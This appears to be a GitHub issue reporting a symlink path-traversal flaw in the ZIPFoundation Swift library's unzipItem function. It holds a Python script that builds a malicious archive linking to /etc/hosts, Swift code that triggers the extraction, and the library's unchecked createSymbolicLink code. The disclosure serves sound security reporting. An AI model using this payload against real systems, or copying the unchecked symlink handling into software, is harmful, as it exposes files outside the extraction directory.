-
-
Notifications
You must be signed in to change notification settings - Fork 307
Closed
Description
Summary
The package does not check if symlinks are pointing to paths outside the extraction directory
Steps to Reproduce
1- Generate payload.zip
using the following code:
import zipfile
def compress_file(filename):
zipInfo = zipfile.ZipInfo(".")
zipInfo.create_system = 3
zipInfo.external_attr = 2716663808
zipInfo.filename = filename
with zipfile.ZipFile('payload.zip', 'w') as zipf:
zipf.writestr(zipInfo, "/etc/hosts")
filename = 'evil_symlink'
compress_file(filename)
2- Extract payload.zip
using unzipItem
import Foundation
import ZIPFoundation
let fileManager = FileManager()
var sourceURL = URL(fileURLWithPath: "/path/to/payload.zip")
var destinationURL = URL(fileURLWithPath: "/path/to/")
do {
try fileManager.createDirectory(at: destinationURL, withIntermediateDirectories: true, attributes: nil)
try fileManager.unzipItem(at: sourceURL, to: destinationURL)
} catch {
print("Extraction of ZIP archive failed with error:\(error)")
}
Expected Results
evil_symlink
is not linked back after extraction
Actual Results
evil_symlink
is linked back after extraction
Technical details
Upon extraction, the package passes the path coming from the zip entry directly to fileManager.createSymbolicLink
without checking that it is located within extraction directory
case .symlink:
guard !fileManager.itemExists(at: url) else {
throw CocoaError(.fileWriteFileExists, userInfo: [NSFilePathErrorKey: url.path])
}
let consumer = { (data: Data) in
guard let linkPath = String(data: data, encoding: .utf8) else { throw ArchiveError.invalidEntryPath }
try fileManager.createParentDirectoryStructure(for: url)
try fileManager.createSymbolicLink(atPath: url.path, withDestinationPath: linkPath)
}
checksum = try self.extract(entry, bufferSize: bufferSize, skipCRC32: skipCRC32,
progress: progress, consumer: consumer)
}
mikemike396, fuggly, ChanRoy and OskarGrothYuantongL
Metadata
Metadata
Assignees
Labels
No labels